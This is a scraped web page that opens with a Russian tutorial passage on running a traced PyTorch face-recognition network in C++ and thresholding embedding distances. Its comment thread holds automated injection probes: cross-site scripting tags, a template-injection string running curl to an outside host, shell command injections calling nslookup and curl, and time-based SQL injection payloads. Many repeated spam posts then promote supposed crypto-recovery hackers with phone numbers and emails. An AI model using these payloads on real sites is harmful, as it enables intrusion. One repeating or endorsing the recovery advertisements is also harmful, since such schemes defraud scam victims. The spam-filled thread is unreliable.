Загрузка в C++ делается достаточно просто. Функция load, которую предоставляет нам заголовочный файл script.h, будет находиться в пространстве имен torch::jit::script. Как результат мы получим объект типа jit::script::Module, который похож по функциональности на модули из PyTorch. Знакомым способом мы можем его перевести на GPU с помощью функции to.

#include <torch/script.h>
...
using namespace torch::jit::script;
...
Module script_model_ = load(model_path_str);
script_model_.to(kGPU);

Как его дальше использовать? Загрузив этот модуль, нам необходимо подать ему на вход наше изображение, чтобы получить характеристический вектор для сравнения. Рассмотрим реализацию функции get_embeddigs с использованием загруженного модуля сети.

embeddigs_t get_embeddings(matrix_t& face_img) {
  auto sch_face_tensor = matrix_to_tensor(face_img);
  auto face_tensor =
   	torch::cat({sch_face_tensor,
               	sch_face_tensor,
               	sch_face_tensor},
              	0);
  face_tensor.unsqueeze_(0);
  face_tensor = face_tensor.to(device);
  std::vector<torch::jit::IValue> inputs = {face_tensor};
  auto output = script_model_.forward(inputs).toTensor();
  ...
}

Функцию matrix_to_tensor мы разбирали, она преобразует матрицу Dlib в тензор библиотеки PyTorch. Далее воспользуемся функцией конкатенации, чтобы повторить тензор три раза.

Загруженная сеть обучалась на цветных изображениях. При анализе примера для трассировки мы создавали случайный тензор с тремя каналами — формат RGB. Поэтому, объединив три серых канала, мы превращаем их в с-формат. Для реального проекта нам следует переписать функциональность загрузки и предобработки изображений для использования RGB.

С помощью функции unsqueeze мы добавляем дополнительную размерность для батча. Эта сеть предназначена для работы не только с одной картинкой, но и с батчем изображений. Расчет характеристических векторов нескольких изображений одновременно повышает эффективность использования ресурсов.

После получения RGB-тензора face_tensor мы преобразуем его в значение torch::jit::IValue. Это соглашение фреймворка для трассировки в PyTorch. Передача этого значения в метод forward загруженного модуля — стандартный подход. Метод вернет объект типа torch::jit::IValue, который при необходимости можно преобразовать в тензор PyTorch и другие типы данных.

Результаты использования предтренированной сети

Применив уже тренированную глубокую нейронную сеть, мы увидим другие результаты. На этой фотографии мы видим, что сравнив Арнольда с Арнольдом, мы получаем значение порядка 0,6, для других двух лиц это значение уже больше единицы.

Результаты обучения предтренированной сети: значение для лица Аронольда — 0,6
Результаты обучения предтренированной сети: значение для лица Аронольда — 0,6

На следующей фотографии мы видим, что при сравнении характеристических векторов для людей, не похожих на Арнольда, мы получаем значение порядка единицы или выше. Вот этот подход уже можно использовать для сравнения лиц. Задав порог в 0,7, сеть может отличить Арнольда от лиц других людей.

Результаты сравнения целевого лица с остальными показали, что сеть сможет отличить Арнольда от других людей, если задать порог в 0,7
Результаты сравнения целевого лица с остальными показали, что сеть сможет отличить Арнольда от других людей, если задать порог в 0,7

Писать или не писать нейронную сеть на С++

Мое мнение — конечно, писать. В первую очередь я думаю о командах, которые хотят решать задачи, связанные с машинным обучением, но не имеют в штате Python-разработчика. Для них есть альтернатива. Еще мой способ может быть полезным для тех, кто уже написал код работы с данными на С++ и хочет использовать его в реализации или обучении нейросети — таким инженерам не придется переписывать код на Python или писать обертки.

Неважно, на каком языке решается задача — она в любом случае довольно сложная. Инженеры до сих пор проводят исследования и ищут лучшее решение для тренировки нейронных сетей и решения задач по поиску лиц. Кто знает — возможно, это будет С++.

Полезные материалы:

Источник

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 17.10.25 20:17 tyleradams

    As time passes, there are an increasing number of frauds involving Bitcoin and other cryptocurrencies. Although there are many individuals who advertise recovering money online, people should use caution in dealing, especially when money is involved. You can trust NVIDIA TECH HACKERS [[email protected]], I promise. They are the top internet recovery company, and as their names indicate, your money is reclaimed as soon as feasible. My bitcoin was successfully retrieved in large part thanks to NVIDIA TECH HACKERS. Ensure that you get top-notch service; NVIDIA TECH HACKERS provides evidence of its work; and payment is only made when the service has been completed to your satisfaction. Reach them via email: [email protected] on google mail

  • 17.10.25 20:20 lindseyvonn

    Have you gotten yourself involved in a cryptocurrency scam or any scam at all? If yes, know that you are not alone, there are a lot of people in this same situation. I'm a Health Worker and was a victim of a cryptocurrency scam that cost me a lot of money. This happened a few weeks ago, there’s only one solution which is to talk to the right people, if you don’t do this you will end up being really depressed. I was really devastated until went on LinkedIn one evening after my work hours and i saw lots of reviews popped up on my feed about [email protected], I sent an email to the team who came highly recommended - [email protected] I started seeing some hope for myself from the moment I sent them an email. The good part is they made the entire process stress free for me, i literally sat and waited for them to finish and I received what I lost in my wallet

  • 17.10.25 20:22 richardcharles

    I would recommend NVIDIA TECH HACKERS to anyone that needs this service. I decided to get into crypto investment and I ended up getting my crypto lost to an investor late last year. The guy who was supposed to be managing my account turned out to be a scammer all along. I invested 56,000 USD and at first, my reading and profit margins were looking good. I started getting worried when I couldn’t make withdrawals and realized that I’ve been scammed. I came across some of the testimonials that people said about NVIDIA TECH HACKERS and how helpful he has been in recovering their funds. I immediately contacted him in his mail at [email protected] so I can get his assistance. One week into the recovery process the funds were traced and recovered back from the scammer. I can't appreciate him enough for his professionalism.

  • 17.10.25 20:23 stevekalfman

    If you need a hacker for scam crypto recovery or mobile spy access remotely kindly reach out to [email protected] for quick response, I hired this hacker and he did a nice job. before NVIDIA TECH HACKERS, I met with different hacker's online which turns out to be scam, this NVIDIA TECH HACKERS case was different and he is the trusted hacker I can vote and refer.

  • 17.10.25 21:42 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 17.10.25 21:42 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 17.10.25 21:42 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon